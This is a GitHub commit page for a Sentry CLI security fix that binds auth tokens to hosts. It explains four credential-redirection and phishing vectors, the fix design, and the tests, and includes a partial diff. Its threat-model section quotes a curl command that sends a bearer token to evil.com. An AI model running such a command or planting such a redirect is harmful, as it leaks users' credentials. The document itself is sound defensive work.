You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
security: scope tokens to hosts to prevent credential exfiltration (#844)
## Summary
Closes the "untrusted input redirects credentialed requests to an
attacker host" vulnerability class. Three CVE-class shapes:
1. **URL argument** (`sentry-url-parser.ts`): `sentry issue view
https://evil.com/...` previously wrote
`env.SENTRY_HOST=https://evil.com` unconditionally → every subsequent
authenticated fetch / OAuth refresh sent credentials to the attacker.
2. **`.sentryclirc` injection** (`sentryclirc.ts`): a committed
`.sentryclirc` in a cloned repo could set `[defaults] url =
https://evil.com`. With `SENTRY_AUTH_TOKEN` in env and `SENTRY_HOST`
unset, the env-shim wrote the attacker's URL and preserved the real
token for routing there.
3. **Share URL custom headers** (`api/issues.ts`): `getSharedIssue`
attached `SENTRY_CUSTOM_HEADERS` (IAP tokens, mTLS) to any non-SaaS
share URL.
Plus a phishing vector also closed:
4. **OAuth-flow phishing** via the same `.sentryclirc` channel: poisoned
rc URL → CLI directs the user's browser to
`<attacker>/oauth/authorize/...`, attacker serves a Sentry-cloned login
page, captures the developer's SSO credentials. Worse than a single
token leak (compromises every service the SSO covers).
## Fix — Scope tokens to hosts
Tokens are bound to a specific Sentry host at issuance time. Routing
decisions (URL args, `.sentryclirc`, env vars) are decoupled from
credential decisions: credentials simply aren't attached when
destination ≠ token host.
### Trust establishment
`sentry auth login --url <url>` is the **only** way to establish trust
for a new host. URL arguments, `.sentryclirc` files, and `auth login`
against a host the rc shim wrote are rejected when the host isn't
already trusted.
| Source of non-SaaS URL | Matches token | Doesn't match | No token |
|---|---|---|---|
| URL arg (`sentry <cmd> <url>`) | Proceed | Throw | Throw |
| `.sentryclirc [defaults] url` | Proceed | Throw | Throw |
| `auth login` (rc-poisoned host) | — | Throw (phishing) | Throw
(phishing) |
| `auth login --token X` (rc-poisoned) | — | Throw (token leak) | Throw
(token leak) |
| `auth login --url <url>` | — | — | Proceed (trust establishment) |
SaaS URLs (`*.sentry.io`) always proceed — the SaaS equivalence class
covers regional silos and org subdomains.
### Architecture
- `auth` table gains `host TEXT` column (schema v16). Lazy migration
backfills NULL hosts from the boot-time env snapshot.
- `src/lib/token-host.ts` — origin normalization, SaaS-aware
`isHostTrusted`, `getActiveTokenHost`. Process-local trust extension for
region URLs (`db/regions.ts`) so authenticated multi-region fan-out
works.
- `src/lib/env-token-host.ts` — captures the env-token's scope from
`SENTRY_HOST`/`SENTRY_URL` at boot, BEFORE `.sentryclirc` shim can
mutate env. `.sentryclirc` values intentionally NOT trusted for scoping.
- `src/lib/token-claims.ts` — defensive parser for the `sntrys_`
org-auth-token format. Used as (a) UX fallback in `captureEnvTokenHost`
when env doesn't provide a host, and (b) defense-in-depth at the fetch
layer (refuse to attach a token whose claim disagrees with the request
origin).
- `sentry auth login --url <url>` flag added; persists host with the
stored token.
### Enforcement layers
- **Entry-point guards**: `applySentryUrlContext`,
`applySentryCliRcEnvShim`, `refuseLoginToUntrustedHost` reject
mismatched hosts before any credentialed I/O.
- **Fetch-layer defense in depth**: `prepareHeaders` and
`refreshAccessToken` re-check origin before attaching credentials.
`applyCustomHeaders` is URL-scoped — IAP/mTLS tokens never attach to
untrusted hosts.
## CI hardening recommendation
Sentry org-auth tokens (`sntrys_` prefix) embed an unsigned `url` claim
recording the issuing host. The CLI uses this claim as a
defense-in-depth signal: a request whose origin disagrees with the claim
is refused even when the stored host matches the request origin.
For CI environments where one step can influence another step's
environment (e.g. GitHub Actions `$GITHUB_ENV`), `sntrys_` tokens are
recommended over `sntryu_` user-auth tokens. The claim provides scope
binding that env vars alone cannot — an attacker who can poison
`SENTRY_HOST` but not the token cannot redirect the token's destination.
## Threat model — explicit non-goals
- **Arbitrary code execution in a CI step that has read access to
`SENTRY_AUTH_TOKEN`**: out of scope. Such a step can `curl evil.com -H
"Authorization: Bearer $TOKEN"` directly, bypassing the CLI entirely.
- **Layered-CI env injection against `sntryu_` / OAuth tokens** (no
claim available): documented as a workflow-design concern.
Recommendation: use `sntrys_` for CI.
- **`.envrc` / direnv**: out of scope (not loaded by this CLI).
- **User pasting an attacker-supplied token**: out of scope. Any token
the user voluntarily configures is trusted at the user's discretion.
## Migration UX
- OAuth rows with NULL `host`: silent lazy migration from boot-time env
snapshot. One `info` log line.
- `.sentryclirc` with repo-local non-SaaS url that doesn't match the
active token: first command in the repo after upgrade throws `CliError`
with an actionable message.
- Users with matching configs are unaffected.
## Tests
- `test/lib/security/` — 7 attack regression suites covering all four
shapes + fetch-layer defense-in-depth.
- `test/lib/token-{host,claims}.{test,property.test}.ts` — SaaS
equivalence, subdomain/lookalike resistance, claim parsing, origin
normalization invariants via fast-check.
- `test/lib/env-token-host.test.ts` — snapshot isolation from
`.sentryclirc` env writes.
- `test/lib/db/auth.host.test.ts` — persistence + NULL-host lazy
migration + clearAuth eviction semantics.
- 6052 unit + 130 e2e tests pass.
## Closes
- #848 (UX: scope env-supplied `sntrys_` tokens from embedded url claim)
— implemented.
Plan file with full design rationale:
`.opencode/plans/1777023782662-proud-circuit.md`.
---------
Co-authored-by: Burak Yigit Kaya <byk@byk.im>
Copy file name to clipboardExpand all lines: plugins/sentry-cli/skills/sentry-cli/references/auth.md
+1Lines changed: 1 addition & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -19,6 +19,7 @@ Authenticate with Sentry
19
19
-`--token <value> - Authenticate using an API token instead of OAuth`
20
20
-`--timeout <value> - Timeout for OAuth flow in seconds (default: 900) - (default: "900")`
21
21
-`--force - Re-authenticate without prompting`
22
+
-`--url <value> - Sentry instance URL to authenticate against (e.g. https://sentry.example.com). Required for self-hosted; defaults to SaaS (https://sentry.io).`
* Persist a non-SaaS `--url` host as the stored default so subsequent CLI
140
+
* invocations route correctly without requiring `SENTRY_HOST`. Only writes
141
+
* when `--url` was explicitly passed; env/rc-sourced values persist
142
+
* through those channels. Non-fatal on DB failure.
143
+
*/
144
+
functionpersistLoginUrlAsDefault(
145
+
flagUrl: string|undefined,
146
+
effectiveHost: string
147
+
): void{
148
+
if(!flagUrl||isSaaSTrustOrigin(effectiveHost)){
149
+
return;
150
+
}
151
+
try{
152
+
setDefaultUrl(effectiveHost);
153
+
}catch{
154
+
log.debug(
155
+
`Could not persist default URL to DB; host is recorded on the stored token. Set SENTRY_HOST or run 'sentry cli defaults url ${effectiveHost}' if subsequent commands route incorrectly.`
156
+
);
157
+
}
158
+
}
159
+
160
+
/**
161
+
* When `--url` is passed, set `env.SENTRY_HOST`/`env.SENTRY_URL` so the
162
+
* device flow and token refresh hit the requested host. Returns the
163
+
* effective host so callers can record it with {@link setAuthToken}.
164
+
*
165
+
* Registers a login trust anchor (consumed by {@link applyCustomHeaders}
166
+
* for IAP onboarding) only when `--url` is explicitly passed — the user's
167
+
* argv is the only trusted source for this. When `--url` is absent, the
168
+
* effective host comes from current env (which may have been written by the
169
+
* `.sentryclirc` shim) and is NOT registered as a trust anchor.
0 commit comments